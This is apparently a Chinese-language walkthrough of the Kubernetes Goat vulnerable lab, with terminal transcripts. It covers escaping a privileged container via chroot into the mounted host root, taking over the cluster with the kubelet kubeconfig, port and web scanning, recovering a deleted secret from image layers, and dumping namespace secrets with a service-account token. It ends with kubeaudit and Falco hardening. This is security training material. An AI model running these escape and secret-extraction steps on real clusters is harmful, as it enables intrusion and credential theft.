$ git checkout d7c173ad183c574109cd5c4c648ffe551755b576 Note: checking out 'd7c173ad183c574109cd5c4c648ffe551755b576'.
You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by performing another checkout.
If you want to create a new branch to retain commits you create, you may do so (now or later) by using -b with the checkout command again. Example:
git checkout -b <new-branch-name>
HEAD is now at d7c173a... Inlcuded custom environmental variables
root@nsfocus:/# capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: 00/0x0/1'b0 secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=
通过跟正常的机器输出的权限进行对比，基本没什么差别，这是具有所有权限的root
通过mount命令可以看到挂载了一个/host-system目录
通过df命令也可以看到，只不过我们不确定这是不是挂载的
看名字应该是宿主机目录的，我们ls一下，这看着是整个宿主机的根目录都映射进来了
1 2 3
root@nsfocus:~# ls /host-system/ bin boot cdrom dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swap.img sys tmp usr var root@nsfocus:~#
通过chroot命令，我们可以获取宿主机的执行权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root@nsfocus:~# chroot /host-system/ bash root@nsfocus:/# ls bin boot cdrom dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swap.img sys tmp usr var root@nsfocus:/# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES f0a9afd6f2b6 madhuakula/k8s-goat-info-app "python /app.py" 3 days ago Up 3 days k8s_info-app_internal-proxy-deployment-5d99cbbdf7-wqmgr_default_efb4eb97-4aa0-4da2-9a93-a0a5dc762649_0 628fcee2fd49 madhuakula/k8s-goat-internal-api "docker-entrypoint.s…" 4 days ago Up 4 days k8s_internal-api_internal-proxy-deployment-5d99cbbdf7-wqmgr_default_efb4eb97-4aa0-4da2-9a93-a0a5dc762649_0 df0495417aa4 registry.aliyuncs.com/google_containers/pause:3.4.1 "/pause" 4 days ago Up 4 days k8s_POD_internal-proxy-deployment-5d99cbbdf7-wqmgr_default_efb4eb97-4aa0-4da2-9a93-a0a5dc762649_0 5702cc4cdd60 madhuakula/k8s-goat-system-monitor "gotty -w bash" 4 days ago Up 4 days k8s_system-monitor_system-monitor-deployment-594c89b48f-97rs9_default_081f809d-8199-44bd-8f86-ac6942df3dc8_0 9c1ca7ec8f1a madhuakula/k8s-goat-poor-registry "/entrypoint.sh regi…" 4 days ago Up 4 days k8s_poor-registry_poor-registry-deployment-6746b95974-j9xrw_default_d4820b3b-48f0-4ebb-9657-c24d677c73cb_0 c8993f38a99d madhuakula/k8s-goat-home "/docker-entrypoint.…" 4 days ago Up 4 days k8s_kubernetes-goat-home_kubernetes-goat-home-deployment-757f96b7cd-tq5zh_default_ef99f1cd-b0ff-4d6a-9a2e-6443acba79ee_0 4a7f97587378 madhuakula/k8s-goat-hidden-in-layers "sh -c 'tail -f /dev…" 4 days ago Up 4 days k8s_hidden-in-layers_hidden-in-layers-lbwbn_default_2ab7372a-e434-4cae-8ede-beca97d662ab_0 ...... ...... ...... ...... ...... ......
还可以通过kubectl控制，查看集群（这里需要指定配置文件）
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root@nsfocus:/# kubectl --kubeconfig /etc/kubernetes/kubelet.conf get pods NAME READY STATUS RESTARTS AGE batch-check-job-mrd2q 0/1 Completed 0 4d4h build-code-deployment-99d5f65db-hxllz 1/1 Running 0 4d4h health-check-deployment-66c59d7f6f-qf5b7 1/1 Running 0 4d4h hidden-in-layers-lbwbn 1/1 Running 0 4d4h internal-proxy-deployment-5d99cbbdf7-wqmgr 2/2 Running 0 3d23h kubernetes-goat-home-deployment-757f96b7cd-tq5zh 1/1 Running 0 4d4h metadata-db-77987b74b-2tqjr 1/1 Running 0 4d4h poor-registry-deployment-6746b95974-j9xrw 1/1 Running 0 4d4h system-monitor-deployment-594c89b48f-97rs9 1/1 Running 0 4d4h root@nsfocus:/# kubectl --kubeconfig /etc/kubernetes/kubelet.conf get nodes NAME STATUS ROLES AGE VERSION k8s-master Ready control-plane,master 4d20h v1.21.13 nsfocus Ready <none> 4d20h v1.21.13
$ nmap -T4 -p 30000-32767 192.168.2.172 Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-20 18:57 CST Nmap scan report for 192.168.2.172 Host is up (0.0055s latency). Not shown: 2767 closed ports PORT STATE SERVICE 30003/tcp open amicon-fpsu-ra MAC Address: 00:50:56:A2:18:00 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds
可以看到是30003端口
1 2
$ curl http://192.168.2.172:30003/ {"info": "Refer to internal http://metadata-db for more information"}
这已经从 Kubernetes Goat 启弃用，但是还可以看一下
Helm 是 Kubernetes 部署和管理应用程序的包管理器，默认配置和设置是不安全的，如果攻击者可以访问任何一个 pod 并且没有网络安全策略 (NSP)，攻击者可以获得完整的集群访问权限和接管集群管理员权限。
启动环境
1
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
默认情况下，helm 版本 2 有一个 tiller 组件，它具有完整的集群管理 RBAC 权限
这个暂时有点问题，不能实践，就是默认不允许执行kubectl get secrets -n kube-system，通过 helm 和 tiller 服务的帮助下部署pwnchart，它将授予所有默认服务帐户 cluster-admin 访问权限，从而可以执行kubectl get secrets -n kube-system
$ kubectl get jobs -A NAMESPACE NAME COMPLETIONS DURATION AGE default batch-check-job 1/1 36s 5d5h default hidden-in-layers 0/1 5d5h 5d5h default kube-bench-node 1/1 29s 22h
$ docker ps -a | grep 5702 5702cc4cdd60 madhuakula/k8s-goat-system-monitor "gotty -w bash" 6 days ago Up 6 days k8s_system-monitor_system-monitor-deployment-594c89b48f-97rs9_default_081f809d-8199-44bd-8f86-ac6942df3dc8_0
其他的信息收集
1 2 3 4 5 6 7
cat /proc/self/cgroup cat /etc/hosts # 挂载信息 mount # 查看文件系统 ls -la /home/ printenv或者直接env
~ # nikto.pl -host http://metadata-db - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.105.74.206 + Target Hostname: metadata-db + Target Port: 80 + Start Time: 2022-06-22 08:20:04 (GMT0) --------------------------------------------------------------------------- + Server: No banner retrieved + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + 7373 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2022-06-22 08:21:53 (GMT0) (109 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
在docker镜像中，很容易可能将密码、私钥、令牌等放入到了镜像中
作者设计了一个hidden-in-layers的jobs
1 2 3 4 5
$ kubectl get jobs NAME COMPLETIONS DURATION AGE batch-check-job 1/1 36s 6d5h hidden-in-layers 0/1 6d5h 6d5h kube-bench-node 1/1 29s 46h
$ alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" $ dfimage madhuakula/k8s-goat-hidden-in-layers:latest Analyzing madhuakula/k8s-goat-hidden-in-layers:latest Docker Version: GraphDriver: overlay2 Environment Variables |PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Image user |User is root
Potential secrets: |Found match etc/apk/keys/[email protected] Possible public key \.pub$ 79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/layer.tar |Found match etc/apk/keys/[email protected] Possible public key \.pub$ 79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/layer.tar |Found match etc/apk/keys/[email protected] Possible public key \.pub$ 79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/layer.tar |Found match etc/apk/keys/[email protected] Possible public key \.pub$ 79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/layer.tar |Found match etc/apk/keys/[email protected] Possible public key \.pub$ 79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/layer.tar |Found match etc/udhcpd.conf DHCP server configs dhcpd[^ ]*.conf 79cf3b8a6b51ac05a78de2a347855d9be39bb7300a6df1a1094cdab616745f78/layer.tar Dockerfile: CMD ["/bin/sh"] LABEL MAINTAINER=Madhu Akula INFO=Kubernetes Goat ADD secret.txt /root/secret.txt # buildkit root/ root/secret.txt
RUN RUN echo "Contributed by Rewanth Cool" >> /root/contribution.txt \ && rm -rf /root/secret.txt # buildkit CMD ["sh" "-c" "tail -f /dev/null"]
$ docker run -v /var/run/docker.sock:/var/run/docker.sock dfimage madhuakula/k8s-goat-hidden-in-layers:latest FROM madhuakula/k8s-goat-hidden-in-layers:latest ADD file:90e56af13188c7f0283d244a0d70b853d8bef8587a41f1da8eac3a2aba8964ef in / CMD ["/bin/sh"] RUN LABEL MAINTAINER=Madhu Akula INFO=Kubernetes Goat RUN ADD secret.txt /root/secret.txt # buildkit RUN RUN /bin/sh -c echo "Contributed by Rewanth Cool" >> /root/contribution.txt \ && rm -rf /root/secret.txt # buildkit RUN CMD ["sh" "-c" "tail -f /dev/null"]
但是这只是让我们看到有这个文件，我们需要看看这个文件，直接启动容器肯定没有，因为已经删掉了
1 2 3 4 5 6 7 8 9 10 11 12
$ kubectl run test --rm --restart=Never -it --image=madhuakula/k8s-goat-hidden-in-layers -- sh If you don't see a command prompt, try pressing enter. / # ls bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var / # cd root/ ~ # ls -la total 16 drwx------ 1 root root 4096 Jun 24 08:33 . drwxr-xr-x 1 root root 4096 Jun 24 08:29 .. -rw------- 1 root root 19 Jun 24 08:34 .ash_history -rw-r--r-- 1 root root 28 May 16 20:41 contribution.txt ~ #
$ curl --cacert ${CACERT} --header "Athorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets { "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "secrets is forbidden: User \"system:serviceaccount:big-monolith:big-monolith-sa\" cannot list resource \"secrets\" in API group \"\" at the cluster scope", "reason": "Forbidden", "details": { "kind": "secrets" }, "code": 403 }
查看当前命名空间中的secrets
1
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
查看当前命名空间中的pods
1
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
1 2 3 4 5 6 7
$ curl --cacert ${CACERT} --header "Athorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 9984 0 9984 0 0 154k 0 --:--:-- --:--:-- --:--:-- 154k "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"data\":{\"k8svaultapikey\":\"azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=\"},\"kind\":\"Secret\",\"metadata\":{\"annotations\":{},\"name\":\"vaultapikey\",\"namespace\":\"big-monolith\"},\"type\":\"Opaque\"}\n" "fieldsV1": {"f:data":{".":{},"f:k8svaultapikey":{}},"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:type":{}} "k8svaultapikey": "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U="
$ kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash Flag --serviceaccount has been deprecated, has no effect and will be removed in the future. Error from server (Forbidden): pods "bash" is forbidden: error looking up service account kube-system/tiller: serviceaccount "tiller" not found
$ ./kubeaudit all W0627 14:19:28.628353 95337 warnings.go:70] v1 ComponentStatus is deprecated in v1.19+ W0627 14:19:32.831222 95337 warnings.go:70] extensions/v1beta1 Ingress is deprecated in v1.14+, unavailable in v1.22+; use networking.k8s.io/v1 Ingress W0627 14:19:33.253577 95337 warnings.go:70] policy/v1beta1 PodSecurityPolicy is deprecated in v1.21+, unavailable in v1.25+
-- [error] AppArmorAnnotationMissing Message: AppArmor annotation missing. The annotation 'container.apparmor.security.beta.kubernetes.io/hunger-check' should be added. Metadata: Container: hunger-check MissingAnnotation: container.apparmor.security.beta.kubernetes.io/hunger-check
-- [error] CapabilityOrSecurityContextMissing Message: Security Context not set. The Security Context should be specified and all Capabilities should be dropped by setting the Drop list to ALL. Metadata: Container: hunger-check
-- [warning] ImageTagMissing Message: Image tag is missing. Metadata: Container: hunger-check
-- [error] RunAsNonRootPSCNilCSCNil Message: runAsNonRoot should be set to true or runAsUser should be set to a value > 0 either in the container SecurityContext or PodSecurityContext. Metadata: Container: hunger-check
-- [error] AllowPrivilegeEscalationNil Message: allowPrivilegeEscalation not set which allows privilege escalation. It should be set to 'false'. Metadata: Container: hunger-check
-- [warning] PrivilegedNil Message: privileged is not set in container SecurityContext. Privileged defaults to 'false' but it should be explicitly set to 'false'. Metadata: Container: hunger-check
-- [error] ReadOnlyRootFilesystemNil Message: readOnlyRootFilesystem is not set in container SecurityContext. It should be set to 'true'. Metadata: Container: hunger-check
-- [error] SeccompAnnotationMissing Message: Seccomp annotation is missing. The annotation seccomp.security.alpha.kubernetes.io/pod: runtime/default should be added. Metadata: MissingAnnotation: seccomp.security.alpha.kubernetes.io/pod ...... ...... ...... ---------------- Results for ---------------
-- [error] AppArmorAnnotationMissing Message: AppArmor annotation missing. The annotation 'container.apparmor.security.beta.kubernetes.io/hidden-in-layers' should be added. Metadata: Container: hidden-in-layers MissingAnnotation: container.apparmor.security.beta.kubernetes.io/hidden-in-layers
-- [error] AutomountServiceAccountTokenTrueAndDefaultSA Message: Default service account with token mounted. automountServiceAccountToken should be set to 'false' on either the ServiceAccount or on the PodSpec or a non-default service account should be used.
-- [error] CapabilityOrSecurityContextMissing Message: Security Context not set. The Security Context should be specified and all Capabilities should be dropped by setting the Drop list to ALL. Metadata: Container: hidden-in-layers
# root @ k8s-master in ~/kubernetes-goat/kubeaudit [14:39:48] $ helm repo add falcosecurity https://falcosecurity.github.io/charts "falcosecurity" has been added to your repositories # root @ k8s-master in ~/kubernetes-goat/kubeaudit [14:40:12] $ helm repo update Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "falcosecurity" chart repository Update Complete. ⎈Happy Helming!⎈ # root @ k8s-master in ~/kubernetes-goat/kubeaudit [14:42:00] $ helm install falco falcosecurity/falco NAME: falco LAST DEPLOYED: Mon Jun 27 14:50:10 2022 NAMESPACE: default STATUS: deployed REVISION: 1 TEST SUITE: None NOTES: Falco agents are spinning up on each node in your cluster. After a few seconds, they are going to start monitoring your containers looking for security issues.
No further action should be required.
Tip: You can easily forward Falco events to Slack, Kafka, AWS Lambda and more with falcosidekick. Full list of outputs: https://github.com/falcosecurity/charts/tree/master/falcosidekick. You can enable its deployment with `--set falcosidekick.enabled=true` or in your values.yaml. See: https://github.com/falcosecurity/charts/blob/master/falcosidekick/values.yaml for configuration values.
Falco 可以检测任何涉及进行 Linux 系统调用的行为并发出警报。Falco 警报可以通过使用特定的系统调用、它们的参数以及调用进程的属性来触发。例如，Falco 可以轻松检测事件，包括但不限于：
$ kubectl run --rm -it --image=alpine temp -- sh If you don't see a command prompt, try pressing enter. / # wget -qO- http://website <!DOCTYPE html> <html> <head> <title>Welcome to nginx!</title> <style> html { color-scheme: light dark; } body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body> <h1>Welcome to nginx!</h1> <p>If you see this page, the nginx web server is successfully installed and working. Further configuration is required.</p>
<p>For online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>.<br/> Commercial support is available at <a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p> </body> </html> / #
